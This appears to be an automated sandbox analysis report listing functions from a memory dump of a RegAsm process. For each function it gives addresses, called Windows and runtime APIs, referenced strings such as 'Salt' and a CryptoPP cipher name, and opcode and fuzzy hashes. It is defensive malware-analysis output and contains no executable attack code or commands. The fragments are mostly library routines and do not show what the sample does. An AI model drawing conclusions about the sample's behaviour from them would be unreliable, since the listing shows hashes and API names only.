Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast__aulldiv$AllocGlobal
String ID: eks$j3l6lrek
API String ID: 2907542317-388657971
Opcode ID: 678ce4a804ab84144998f40d1fab590e8d4c61eee7060be5579ce18a9eb64c74
Instruction ID: 3d428958295f4f84ce996b8d57f6c8dea2eebb57dc0705c1078064508c360857
Opcode Fuzzy Hash: 678ce4a804ab84144998f40d1fab590e8d4c61eee7060be5579ce18a9eb64c74
Instruction Fuzzy Hash: FF127DB1E002189FEB24CFA4CD41BEEBBB5BB98304F1481AAE509A7381D7745E85CF55

Function 005096B0 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 338COMMON

Download Yara Rule

Strings

!kcc, xrefs: 005099CC
7, xrefs: 00509A57
>, xrefs: 00509900

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !kcc$7$>
API String ID: 0-3074482854
Opcode ID: 3f46bc6e7dcedce927cc54d96537f018ad9d3a15746f9a3d5296661de6e856f0
Instruction ID: 6adbe4ddde4c8785811ef2988a07f9367e7a8d6336b49ee58face86a29ed7ed8
Opcode Fuzzy Hash: 3f46bc6e7dcedce927cc54d96537f018ad9d3a15746f9a3d5296661de6e856f0
Instruction Fuzzy Hash: 1DF13574D04259DFCB14CFA8C890BEEBBB2BF49304F1485A9E845AB386D7359A45CF60

Function 0055C4A2 Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0055C528

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: fb4bd61ff7d33756bd25fdf70dfcb1368340b7c35ec4e2bfdcbbd8f8a1dca824
Instruction ID: a20ab25834835511a5ab3bbc652990ad15fe39c73acfae97c815cf5ddffd40b0
Opcode Fuzzy Hash: fb4bd61ff7d33756bd25fdf70dfcb1368340b7c35ec4e2bfdcbbd8f8a1dca824
Instruction Fuzzy Hash: 7CB13572A103569FDB118E68CCA1BAE7FA5FF59315F14415BEC04AF382D374A909CBA0

Function 00418CD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 00418D95
_memcpy_s.LIBCPMTD ref: 00418DCE
_memcpy_s.LIBCPMTD ref: 00418E79
_memcpy_s.LIBCPMTD ref: 00418EB2

Strings

Salt, xrefs: 00418D10
Info, xrefs: 00418DF1

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: Info$Salt
API String ID: 2001391462-2052181562
Opcode ID: 3492fbd7e10c1df8c193e85f33a2364ca64bfa047ae6d689e337148041e8e920
Instruction ID: c264f8babf55e3121e48eae263ef24839df939fa8e29ab3a41309e630623033c
Opcode Fuzzy Hash: 3492fbd7e10c1df8c193e85f33a2364ca64bfa047ae6d689e337148041e8e920
Instruction Fuzzy Hash: 1991C8B5E002089BCF18DF95D891AEEBBB5BF48700F20815EE519B7391DB34A941CF64

Function 005417F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00541827
___except_validate_context_record.LIBVCRUNTIME ref: 0054182F
_ValidateLocalCookies.LIBCMT ref: 005418B8
__IsNonwritableInCurrentImage.LIBCMT ref: 005418E3
_ValidateLocalCookies.LIBCMT ref: 00541938

Strings

csm, xrefs: 005418CD

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 110b47976e1d10d38dfd4db43b11047d92a6246b0af650e048ba74ff639c7a7a
Instruction ID: e649abbbf2f373f299ce2b47462b034f3ca2ee39a4cda716b5972ea7ec199fff
Opcode Fuzzy Hash: 110b47976e1d10d38dfd4db43b11047d92a6246b0af650e048ba74ff639c7a7a
Instruction Fuzzy Hash: ED41C234E00609ABCF10DF68C888ADEBFB5FF4531CF148555E815AB392E731A945CB95

Function 0055B962 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,0041C3C8,?,B9D7103C,?,0055BA71,0041C3C8,0053F098,00000000,0041C3C8), ref: 0055BA23

Strings

ext-ms-, xrefs: 0055B9CD
api-ms-, xrefs: 0055B9B9

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6da345fa8a36e3ad02dd23f6b3a9604d0fb99d3302131f6fbe967117a2a2ca68
Instruction ID: da7cb4e9828d6b0663f021d3a445a8b505a86817ef9bfc3fa683b711d60ba14a
Opcode Fuzzy Hash: 6da345fa8a36e3ad02dd23f6b3a9604d0fb99d3302131f6fbe967117a2a2ca68
Instruction Fuzzy Hash: 4E218031600214EBEB218764DC59A6A3F78FF527A1F250622EE06E32C0D770ED08D6D0

Function 00540DF7 Relevance: 9.2, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00540E40
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00540EAB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00540EC8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00540F07
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00540F66
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00540F89

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 4b3770808243b1218517867e7edf0139db1f137c80c069ee6fcd7bdf21a7c8e2
Instruction ID: ad0ef7a82b1cc217f1d40f31e731eec7ba54a51d94f136a9e066d5811d9179fe
Opcode Fuzzy Hash: 4b3770808243b1218517867e7edf0139db1f137c80c069ee6fcd7bdf21a7c8e2
Instruction Fuzzy Hash: 4C518C7250021ABBEF205F64CC49FEA7FA9FF84758F244429FA15E6190D7749C289B50

Function 00548E39 Relevance: 9.1, APIs: 6, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0054A315: Replicator::operator[].LIBCMT ref: 0054A352

DName::operator=.LIBVCRUNTIME ref: 00548EE5

Part of subcall function 00548A7B: DName::operator+.LIBCMT ref: 00548AE6
Part of subcall function 00548A7B: DName::operator+.LIBCMT ref: 00548DB0

DName::operator+.LIBCMT ref: 00548E9F
DName::operator+.LIBCMT ref: 00548EAB
DName::DName.LIBVCRUNTIME ref: 00548EEF
DName::operator+.LIBCMT ref: 00548F0C
DName::operator+.LIBCMT ref: 00548F18

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]
String ID:
API String ID: 955152517-0
Opcode ID: 8face470401d64e6d455594995de4a7070571810c60865bfaa149a57c863d46b
Instruction ID: f508de1beb71a875f006d686668dc3cff181cf784ce88834753665229b41acbb
Opcode Fuzzy Hash: 8face470401d64e6d455594995de4a7070571810c60865bfaa149a57c863d46b
Instruction Fuzzy Hash: 3F31B0B1A002059FCB18DF64C859AFEBFF9BF99304F14881DE98697350EB749908CB10

Function 00567EAA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00567EFB
TypeidsEqual.LIBVCRUNTIME ref: 00567F20
PMDtoOffset.LIBCMT ref: 00567F36
PMDtoOffset.LIBCMT ref: 00567FB7

Strings

.?AVAuthenticatedSymmetricCipher@CryptoPP@@, xrefs: 00567FB3

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: EqualOffsetTypeids
String ID: .?AVAuthenticatedSymmetricCipher@CryptoPP@@
API String ID: 1707706676-708400366
Opcode ID: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction ID: 7ab08fe4b4f0802b71ec2d3eb4445e8f73494dfe3a6d1f0b23173be8ff099047
Opcode Fuzzy Hash: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction Fuzzy Hash: E641893590820A9FCF21CF68C4809AEFFF5FF19328F14498AE851A7251D772AE48CB50

Function 00549939 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSignedDimension.LIBCMT ref: 0054998A

Strings

void, xrefs: 0054995A
`template-parameter, xrefs: 005499F4

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned
String ID: `template-parameter$void
API String ID: 2996861206-4057429177
Opcode ID: da3bc8500398d85185640c9a919e1fc14ad9f5c42438cf65595e956fd8029ee2
Instruction ID: 2479e33b9a6dc04d09a0644de127615933a0e354b8d5548ad3caf4885e7ea720
Opcode Fuzzy Hash: da3bc8500398d85185640c9a919e1fc14ad9f5c42438cf65595e956fd8029ee2
Instruction Fuzzy Hash: 003161719042099FDF14DBE4D89ABFFBBF8BB58308F10442AE601B7181DB745A088B61

Function 005506D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,B9D7103C,?,?,00000000,0056B560,000000FF,?,005506B4,?,?,00550688,00000000), ref: 0055070D
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,00000000,0056B560,000000FF,?,005506B4,?,?,00550688,00000000), ref: 0055071F
FreeLibrary.KERNEL32(00000000,?,00000000,0056B560,000000FF,?,005506B4,?,?,00550688,00000000), ref: 00550741

Strings

CorExitProcess, xrefs: 00550717
mscoree.dll, xrefs: 00550706

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a9849a065327c3f6661b5ed2071084752f82f5d54bf9c741b1a9351b65a8caef
Instruction ID: 54e7bfe164cae51c30dc1ff6932aab9d4406d10ca42818afac582d2783ad5f85
Opcode Fuzzy Hash: a9849a065327c3f6661b5ed2071084752f82f5d54bf9c741b1a9351b65a8caef
Instruction Fuzzy Hash: 96016735555659EFEB118F54DC49BBE7FB8FB15B11F000626F811A32E0EBB49904CA50

Function 00418600 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00418612
int.LIBCPMTD ref: 00418624

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 0041866B
std::_Lockit::~_Lockit.LIBCPMT ref: 004186E1

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 79353d1b9d4ec1d22e6e5808c9cac7f1087d28aa63845f8d22ac8c493605b1db
Instruction ID: 9fd661f2d64b84f49c29528bdfad000f6d8065a76754205c2c6fb49c5b4bb488
Opcode Fuzzy Hash: 79353d1b9d4ec1d22e6e5808c9cac7f1087d28aa63845f8d22ac8c493605b1db
Instruction Fuzzy Hash: 7C31D3B5D00209EFCB04DF95D485AEEBBB5BF48300F20866AE815B7390DB34AA45CF95

Function 00540205 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0054020C
std::_Lockit::_Lockit.LIBCPMT ref: 00540217
std::_Lockit::~_Lockit.LIBCPMT ref: 00540285

Part of subcall function 00540368: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00540380

std::locale::_Setgloballocale.LIBCPMT ref: 00540232
_Yarn.LIBCPMT ref: 00540248

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: bed6b0769cb08732c975f6df47b39016b78d4bb2e6dac416e698d1df9e6dc15b
Instruction ID: a6ced23d43051bbce105663e81ed81f7fb522fe2d48bf2fbf0d3e656bcd8f1b6
Opcode Fuzzy Hash: bed6b0769cb08732c975f6df47b39016b78d4bb2e6dac416e698d1df9e6dc15b
Instruction Fuzzy Hash: 9201FC79A041128BC706EF20D8089BC7FA5FFE8704B240019ED12673D2CBB0AE06EB81

Function 0054571F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054578B
DName::operator=.LIBVCRUNTIME ref: 00545820

Strings

VXT, xrefs: 00545727
VXT, xrefs: 0054579E

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator=Replicator::operator[]
String ID: VXT$VXT
API String ID: 3211817929-2837629112
Opcode ID: 453f5ba06395881f7401466c81dd88e51da6087c96dc50c97b327b727ceb0d85
Instruction ID: 794480f18786a07fdbacba6fcfb595a38ba74dd1a0db285fa36e4d4b8d16cfa6
Opcode Fuzzy Hash: 453f5ba06395881f7401466c81dd88e51da6087c96dc50c97b327b727ceb0d85
Instruction Fuzzy Hash: 5431DF71600605CBDB14DBA4C849BFA7FA9FB4671AF24442DE691DB182EF789809CB90

Function 00546A6C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00544323: pDNameNode::pDNameNode.LIBCMT ref: 00544349

DName::DName.LIBVCRUNTIME ref: 00546B2B
DName::operator+.LIBCMT ref: 00546B39

Strings

void, xrefs: 00546ABC
void , xrefs: 00546AD4

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::Name::operator+NodeNode::p
String ID: void$void
API String ID: 3257498322-3746155364
Opcode ID: e6938d89f6235a91674158057764b790ed661707474b7a1337765f99360457c9
Instruction ID: 1a7b29ecd9d2830ae7c38b6250764591f8af2213fc736cbe754b249572101dd4
Opcode Fuzzy Hash: e6938d89f6235a91674158057764b790ed661707474b7a1337765f99360457c9
Instruction Fuzzy Hash: DD217C74900209AFCB04DF90C859AEE7FB8FB05308F00845AE901A7250EB709A84CF91

Function 00558C81 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(B9D7103C,00000000,00000000,00000000), ref: 00558CE4

Part of subcall function 0055C222: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0055E184,?,00000000,-00000008), ref: 0055C283

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00558F36
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00558F7C
GetLastError.KERNEL32 ref: 0055901F

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 448a52f0ba0d32b66789c6bdb15c4067244d64fb7db6d906f90816ab546e8adc
Instruction ID: d6eebb1f6a360793cbfb6a3c662edc959c3dd5a32299e3120166541cc478d2a1
Opcode Fuzzy Hash: 448a52f0ba0d32b66789c6bdb15c4067244d64fb7db6d906f90816ab546e8adc
Instruction Fuzzy Hash: 3BD19975D00249DFCF14CFE8D8949ADBFB5FF48305F28452AE856EB291DA30A94ACB50

Function 00546B43 Relevance: 6.2, APIs: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00546B4A
UnDecorator::getSymbolName.LIBCMT ref: 00546BDC
DName::operator+.LIBCMT ref: 00546CE0
DName::DName.LIBVCRUNTIME ref: 00546D83

Part of subcall function 005446FA: shared_ptr.LIBCMT ref: 00544716

Part of subcall function 005448F9: DName::DName.LIBVCRUNTIME ref: 00544947

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::$Decorator::getH_prolog3Name::operator+Symbolshared_ptr
String ID:
API String ID: 1134295639-0
Opcode ID: 62353eb3e1c83a8def2b373ccb29052ccb9eb89104ef2e6ba93bf0d8fb569949
Instruction ID: 9f5d72b08ad6a805afb687a2d66885c0635baa97533fd2e445a3bb9a820894c2
Opcode Fuzzy Hash: 62353eb3e1c83a8def2b373ccb29052ccb9eb89104ef2e6ba93bf0d8fb569949
Instruction Fuzzy Hash: EC7147B1E0020A8FDB14DFA4D885BEDBFB4FB1A318F14402AE941BB251DB359945DFA1

Function 005471BD Relevance: 6.2, APIs: 4, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005472F2

Part of subcall function 00544436: __aulldvrm.LIBCMT ref: 00544467

DName::operator+.LIBCMT ref: 00547253
DName::operator=.LIBVCRUNTIME ref: 00547337
DName::DName.LIBVCRUNTIME ref: 00547369

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=__aulldvrm
String ID:
API String ID: 2973644308-0
Opcode ID: f014b24d5c1f95f63f2198f33d61c5b1b0682a687eb696b3d2a2439f7910521e
Instruction ID: 525f8efa1245394a803a1058bba0c75eb6a0feacfea8ec42a7a3650f54f3aab3
Opcode Fuzzy Hash: f014b24d5c1f95f63f2198f33d61c5b1b0682a687eb696b3d2a2439f7910521e
Instruction Fuzzy Hash: 9A619DB490421ADFCB14CF54C881AEDBFB4FB5A705F1488AAED41AB351D7709A44EF90

Function 0051C850 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010), ref: 0051C873

Strings

operation failed with error , xrefs: 0051C8C4
P@, xrefs: 0051C949
OS_Rng: , xrefs: 0051C8A3

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast
String ID: operation failed with error $OS_Rng: $P@
API String ID: 1452528299-2227021971
Opcode ID: dd9317337ae7b00fe70bf569799ff0f1318163adc6de7913e9370238e1b01da7
Instruction ID: 016053f1a93c55280c4eb3d9007382ec891a4e134ca536cb9c9b9ac02086344f
Opcode Fuzzy Hash: dd9317337ae7b00fe70bf569799ff0f1318163adc6de7913e9370238e1b01da7
Instruction Fuzzy Hash: 495136B1D00248EFCB04DFA9D851BEEBBB4BF48304F2085ADE415A7381DB745A44CBA5

Function 0040BFA0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0040BFDA
__aulldiv.LIBCMT ref: 0040C000
__aulldiv.LIBCMT ref: 0040C028
__aulldiv.LIBCMT ref: 0040C048

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 820efcaecbf41e44e5118b191f052d8889878caa8a65a6825d3c49d7fefbc645
Instruction ID: cefc021b07bbc27f5ebd73db6f54984f7d15763abd2aae5c3da2191d5b48beb7
Opcode Fuzzy Hash: 820efcaecbf41e44e5118b191f052d8889878caa8a65a6825d3c49d7fefbc645
Instruction Fuzzy Hash: 92212AB5610709ABEB10DF14CC83FAE3BA5FB88704F24C458F8189F385D678E9119B98

Function 00540A49 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000400,?,?,?,004F4E47,00000000,00000000,?,?,?,004F4E47,?,?,?,00000000), ref: 00540A66
GetLastError.KERNEL32(?,?,?,004F4E47,?,?,?,00000000,00000000), ref: 00540A72
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,004F4E47,00000000,00000000,?,?,?,004F4E47,?,?,?,00000000), ref: 00540A98
GetLastError.KERNEL32(?,?,?,004F4E47,?,?,?,00000000,00000000), ref: 00540AA4

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 9d15dc997c8cb139624ddcd69354d736c771ef8327062e0090a6e7e09d49c481
Instruction ID: 26824c963909b7383770af622db51c358663ad1656798ffcae391e9a5db3b925
Opcode Fuzzy Hash: 9d15dc997c8cb139624ddcd69354d736c771ef8327062e0090a6e7e09d49c481
Instruction Fuzzy Hash: 8F011232600255FBCF225F96DC08DAF7E36FBD97A4B108014FF4196260D631C821EBA0

Function 00565F3A Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,00562558,00000000,00000001,0000000C,00000000,?,00559073,00000000,00000000,00000000), ref: 00565F51
GetLastError.KERNEL32(?,00562558,00000000,00000001,0000000C,00000000,?,00559073,00000000,00000000,00000000,00000000,00000000,?,0055964D,?), ref: 00565F5D

Part of subcall function 00565F23: CloseHandle.KERNEL32(FFFFFFFE,00565F6D,?,00562558,00000000,00000001,0000000C,00000000,?,00559073,00000000,00000000,00000000,00000000,00000000), ref: 00565F33

___initconout.LIBCMT ref: 00565F6D

Part of subcall function 00565EE5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00565F14,00562545,00000000,?,00559073,00000000,00000000,00000000,00000000), ref: 00565EF8

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,00562558,00000000,00000001,0000000C,00000000,?,00559073,00000000,00000000,00000000,00000000), ref: 00565F82

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2c79a9b71dde108c042268ae03deb70890c93da81b5c5ed260085af2a5d2905b
Instruction ID: 9b56b6b69dbac714730a5ee13ae6b35a95d5d360b676919212b059e0f38674dd
Opcode Fuzzy Hash: 2c79a9b71dde108c042268ae03deb70890c93da81b5c5ed260085af2a5d2905b
Instruction Fuzzy Hash: 77F01C36540519FBCF222FE5EC0CA9E7F66FB593B1F004110FA5896170D6328820EB90

Function 004408F0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 369COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00440E02

Strings

`@, xrefs: 00440DF8
`XA, xrefs: 00440DEF

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 10b0845e5e1a963969b9c4d9434849ca373973c0ca737feb5d1c1eb8bf82c34e
Instruction ID: 4a7d22482a999d51264ed284942df45012202f51aad56926bfcf023d8482aa0b
Opcode Fuzzy Hash: 10b0845e5e1a963969b9c4d9434849ca373973c0ca737feb5d1c1eb8bf82c34e
Instruction Fuzzy Hash: D0F12CB1C1011C9BCB18EB95DC91AEEB778BF58304F10419EE50A67252EF746B89CF64

Function 005556CA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00555841

Strings

+, xrefs: 0055579F
-, xrefs: 00555792

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: 25a5c544011da35ffad1bd8c2ec5d5bb22c25cc765fb7aa980427b1af9fd86d6
Instruction ID: 759434c7989c91a9daf053bdbed6bb257369ec99e81c07340c079b3a1a9af804
Opcode Fuzzy Hash: 25a5c544011da35ffad1bd8c2ec5d5bb22c25cc765fb7aa980427b1af9fd86d6
Instruction Fuzzy Hash: 7FA1E030A11608EFCF14CE68C8706EE7FB1FF55362F24855BECA59B291E2349A09CB50

Function 00418FF0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 261COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00419053
_memcpy_s.LIBCPMTD ref: 004191C9

Strings

@%R, xrefs: 004190D3

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::_memcpy_s
String ID: @%R
API String ID: 285175975-3796743405
Opcode ID: 1af83cfdd5509df64dc03bde970484c0d5b1cf8efd95f025a6ee0214030fbf54
Instruction ID: 3c7a869c5d4a3807704a54f7678c9bbe8c8fd4318b5bb2af947c6455b12b0283
Opcode Fuzzy Hash: 1af83cfdd5509df64dc03bde970484c0d5b1cf8efd95f025a6ee0214030fbf54
Instruction Fuzzy Hash: 09C1B4B4D006189FCB04DFA8D994ADEF7B5BF88300F20829AD919AB355D734AE85CF54

